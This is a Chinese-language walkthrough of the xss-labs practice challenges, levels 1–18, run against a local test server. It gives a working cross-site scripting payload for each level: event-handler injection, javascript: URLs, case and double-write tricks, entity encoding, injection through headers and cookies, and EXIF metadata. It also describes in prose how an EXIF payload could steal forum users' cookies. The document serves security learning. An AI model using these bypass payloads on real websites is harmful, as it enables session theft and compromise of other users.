1.level 1
2.level 2
用<script>alert('1')</script> 试一试
对<>进行了过滤
用onmouseover来绕过
"οnmοuseοver=alert('1')<"
3.level 3
仍然对<>进行了过滤 闭合方式变成单引号
'οnmοuseοver=alert('1')<'
4.level 4
用onmouseover
"οnmοuseοver='alert(1)'<"
onmouseover事件
onmouseover事件:指鼠标移动都某个指点的HTML标签上,会出现什么效果。
例如:
var p = document.getElementById("p") /*获取id名字为p的标签*/
/* 给获取到的id添加事件 */
p.onmouseover = function (){
alert("鼠标已经移动上来!");
}
5.level 5
发现对script进行了过滤
对onmouseover也进行了过滤
尝试用伪协议进行绕过
"><a href="javascript:alert:alert('1')" >click</a><"
6.level 6
对script仍然进行了过滤
、
尝试用伪协议发现对href也进行了过滤
尝试大小写绕过
"><a Href="javascript:alert:alert('1')" >click</a><"
绕过成功
7.level 7
查看源码后发现直接对script进行了删除
对onmouseover 的on直接进行了删除
对伪协议的href也进行了删除
尝试双写script,href进行绕过(考虑到可能是删除了一次)
"><a hrhrefef="javascrscriptipt:alert:alert('1')" >click</a><"
绕过 成功
8.level 8
对script进行了过滤
大小写也无法绕过
尝试对S进行实体编码进行绕过
javascript:alert:alert('1')
绕过成功
9.level 9
尝试输入一个合法链接来看一下进行了什么过滤
发现仍然是对script进行了过滤
对S进行实体编码尝试绕过
javascript:alert:alert('http://baidu.com')
绕过成功
10.level 10
发现页面没有任何能够输入的东西 猜测 是通过url
查看源码后发现 这里有三个name 三个value 尝试对每个进行输入尝试一下 看哪个value有回显
http://127.0.0.1/xss-labs/level10.php?t_sort=1
发现有回显
发现对<>进行了删除
尝试不需要用<>括号的方式
click"type="button" οnclick="alert('1')"
绕过成功
11.level 11
发现对双引号进行了过滤
尝试抓包试一试
发现这个refer里面的内容和刚才源码里面的t_ref 里面value的内容一样 尝试对refer里面的内容进行修改来绕过
click"type="button" οnclick="alert('1')"
修改后绕过成功
12.level 12
t_ua 联想到http请求头部的user-agent 应该与上一题是一个类型
尝试抓包修改
click"type="button" οnclick="alert('1')"
修改后成功绕过
13.level 13
查看源码后发现可能与cookie信息有关 继续尝试抓包修改cookie的值来绕过
只修改user的内容即可
click"type="button" οnclick="alert('1')"
即可绕过成功
14.level 14
这里原网站打不开了,我将后端的代码改成EXIF Data Viewer
同样也拥有xss漏洞
什么是exif
可交换图像文件格式,是专门为数码相机的照片设定的,可记录数码照片的属性信息和拍摄数据。
比如我们这里随便拿一张照片
右键,点击属性,点详细信息,这里有很多可修改的内容,比如我们修改标题为
'"<script>alert(1)</script> 这里的引号是为了闭合前面的信息
因为有些网站可以读取exif 信息,当传入一张含有恶意信息的图片的时候,就可以触发payload
随便找一个网站,我这里找的是 EXIF Data Viewer
选择文件,将我们事先构造好的图片上传上去,就会有弹窗弹出了,说明我们的恶意代码被执行了,该网站存在这样一个漏洞
如果我们将这个1 替换为cookie 的话,而且我们将这个图片传到某个论坛上面,那么别的用户点击你这张图的时候就会读取Exif 信息,将他们的cookie 发送到我们这里,那么这就变成了一个存储型xss漏洞了,所以危害比较大的,但是这里只是一个反射型的xss
15.level 15
查看源码后发现 src的值传到了ng-include:里面
尝试通过闭合来弹窗:"<script>alert('1')</script><"
发现"><被编码了
了解:ng-include
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
语法
< element ng-include= "filename" οnlοad= "expression" autoscroll= "expression" > < /element >
ng-include 指令作为元素使用:
< ng-include src= "filename" οnlοad= "expression" autoscroll= "expression" > < /ng-include >
所有的 HTML 元素都支持该指令。
参数值
值 描述
filename 文件名,可以使用表达式来返回文件名。
onload 可选, 文件载入后执行的表达式。
autoscroll 可选,包含的部分是否在指定视图上可滚动。
二、实例1,指定外部html文件
结论特别说明:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行,不能加载,如果需要控制器处理需要在主页中注册
3.ng-include,加载外部html中含有style标签样式可以识别
4.ng-inclue,记载外部html中的link标签可以加载
那么既然是可以直接引用html文件,那么我们直接引用一下第一关网址的html文件网址路径来试下
http://127.0.0.1/xss-labs/level1.php?name=aini
'http://127.0.0.1/xss-labs/level1.php?name="><a href="javascript:alert(/1/)">xss'
16.level 16
对keyword进行赋值发现页面有回显
先用标签试一下能不能成功
<img src=1 οnerrοr=alert("aini")>
发现空格被实体编码
于是想用回车来替换空格 回车用url编码 还有其他的符号也用url编码
%0D%0A
<img%0D%0Asrc=1%0D%0Aοnerrοr=alert("1")>
17.level 17
我们提交的参数在<embed>标签的src属性中,这一关有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。<embed>标签就是引入一个swf文件【SWF格式是动画软件Flash的专用格式】到浏览器端,并且它的src属性值不需要闭合
?arg01=a&arg02= οnmοusemοve="alert(/xss/)"
?arg01= onclick&arg02=alert('xss') //每一种方法的空格都很重要
18.level 18
和上一关方法一样